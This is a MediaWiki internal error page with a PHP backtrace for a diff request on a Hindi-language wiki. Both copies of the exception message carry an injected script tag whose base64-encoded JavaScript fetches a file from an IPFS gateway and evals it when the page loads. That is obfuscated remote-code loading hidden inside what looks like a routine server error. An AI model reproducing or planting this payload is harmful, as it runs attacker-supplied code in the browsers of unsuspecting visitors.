MediaWiki internal error.

Original exception: [ZiFPHuXLulH8h_yXBSiDgQAAAIY] /w/index.php?title=%E0%A4%9C%E0%A5%8B_%E0%A4%B2%E0%A5%87%E0%A4%96_%E0%A4%9A%E0%A4%BE%E0%A4%B9%E0%A4%BF%E0%A4%8F&diff=348287&oldid=302351 MWUnknownContentModelException from line 201 of /home/bharat/public_html/bharatkosh/en/w/includes/content/ContentHandlerFactory.php: The content model 'wikitext<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>' is not registered on this wiki.
See https://www.mediawiki.org/wiki/Content_handlers to find out which extensions handle this content model.
Backtrace:
#0 /home/bharat/public_html/bharatkosh/en/w/includes/content/ContentHandlerFactory.php(266): MediaWiki\Content\ContentHandlerFactory->validateContentHandler(string, NULL)
#1 /home/bharat/public_html/bharatkosh/en/w/includes/content/ContentHandlerFactory.php(189): MediaWiki\Content\ContentHandlerFactory->createContentHandlerFromHook(string)
#2 /home/bharat/public_html/bharatkosh/en/w/includes/content/ContentHandlerFactory.php(97): MediaWiki\Content\ContentHandlerFactory->createForModelID(string)
#3 /home/bharat/public_html/bharatkosh/en/w/includes/page/WikiPage.php(311): MediaWiki\Content\ContentHandlerFactory->getContentHandler(string)
#4 /home/bharat/public_html/bharatkosh/en/w/includes/page/WikiPage.php(297): WikiPage->getContentHandler()
#5 /home/bharat/public_html/bharatkosh/en/w/includes/page/Article.php(2550): WikiPage->getActionOverrides()
#6 /home/bharat/public_html/bharatkosh/en/w/includes/actions/Action.php(130): Article->getActionOverrides()
#7 /home/bharat/public_html/bharatkosh/en/w/includes/actions/Action.php(189): Action::factory(string, Article, RequestContext)
#8 /home/bharat/public_html/bharatkosh/en/w/includes/MediaWiki.php(166): Action::getActionName(RequestContext)
#9 /home/bharat/public_html/bharatkosh/en/w/includes/MediaWiki.php(908): MediaWiki->getAction()
#10 /home/bharat/public_html/bharatkosh/en/w/includes/MediaWiki.php(548): MediaWiki->main()
#11 /home/bharat/public_html/bharatkosh/en/w/index.php(53): MediaWiki->run()
#12 /home/bharat/public_html/bharatkosh/en/w/index.php(46): wfIndexMain()
#13 {main}

Exception caught inside exception handler: [ZiFPHuXLulH8h_yXBSiDgQAAAIY] /w/index.php?title=%E0%A4%9C%E0%A5%8B_%E0%A4%B2%E0%A5%87%E0%A4%96_%E0%A4%9A%E0%A4%BE%E0%A4%B9%E0%A4%BF%E0%A4%8F&diff=348287&oldid=302351 MWUnknownContentModelException from line 201 of /home/bharat/public_html/bharatkosh/en/w/includes/content/ContentHandlerFactory.php: The content model 'wikitext<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>' is not registered on this wiki.
See https://www.mediawiki.org/wiki/Content_handlers to find out which extensions handle this content model.
Backtrace:
#0 /home/bharat/public_html/bharatkosh/en/w/includes/content/ContentHandlerFactory.php(266): MediaWiki\Content\ContentHandlerFactory->validateContentHandler(string, NULL)
#1 /home/bharat/public_html/bharatkosh/en/w/includes/content/ContentHandlerFactory.php(189): MediaWiki\Content\ContentHandlerFactory->createContentHandlerFromHook(string)
#2 /home/bharat/public_html/bharatkosh/en/w/includes/content/ContentHandlerFactory.php(97): MediaWiki\Content\ContentHandlerFactory->createForModelID(string)
#3 /home/bharat/public_html/bharatkosh/en/w/includes/page/WikiPage.php(311): MediaWiki\Content\ContentHandlerFactory->getContentHandler(string)
#4 /home/bharat/public_html/bharatkosh/en/w/includes/page/WikiPage.php(297): WikiPage->getContentHandler()
#5 /home/bharat/public_html/bharatkosh/en/w/includes/page/Article.php(2550): WikiPage->getActionOverrides()
#6 /home/bharat/public_html/bharatkosh/en/w/includes/actions/Action.php(130): Article->getActionOverrides()
#7 /home/bharat/public_html/bharatkosh/en/w/includes/actions/Action.php(189): Action::factory(string, Article, OutputPage)
#8 /srv/mwshared/extensions/CharInsert/includes/CharInsert.php(24): Action::getActionName(OutputPage)
#9 /home/bharat/public_html/bharatkosh/en/w/includes/HookContainer/HookContainer.php(329): MediaWiki\Extensions\CharInsert\CharInsert::onBeforePageDisplay(OutputPage, SkinVector)
#10 /home/bharat/public_html/bharatkosh/en/w/includes/HookContainer/HookContainer.php(132): MediaWiki\HookContainer\HookContainer->callLegacyHook(string, array, array, array)
#11 /home/bharat/public_html/bharatkosh/en/w/includes/HookContainer/HookRunner.php(991): MediaWiki\HookContainer\HookContainer->run(string, array, array)
#12 /home/bharat/public_html/bharatkosh/en/w/includes/OutputPage.php(2617): MediaWiki\HookContainer\HookRunner->onBeforePageDisplay(OutputPage, SkinVector)
#13 /home/bharat/public_html/bharatkosh/en/w/includes/exception/MWException.php(193): OutputPage->output()
#14 /home/bharat/public_html/bharatkosh/en/w/includes/exception/MWException.php(231): MWException->reportHTML()
#15 /home/bharat/public_html/bharatkosh/en/w/includes/exception/MWExceptionHandler.php(104): MWException->report()
#16 /home/bharat/public_html/bharatkosh/en/w/includes/exception/MWExceptionHandler.php(185): MWExceptionHandler::report(MWUnknownContentModelException)
#17 /home/bharat/public_html/bharatkosh/en/w/includes/MediaWiki.php(581): MWExceptionHandler::handleException(MWUnknownContentModelException, string)
#18 /home/bharat/public_html/bharatkosh/en/w/index.php(53): MediaWiki->run()
#19 /home/bharat/public_html/bharatkosh/en/w/index.php(46): wfIndexMain()
#20 {main}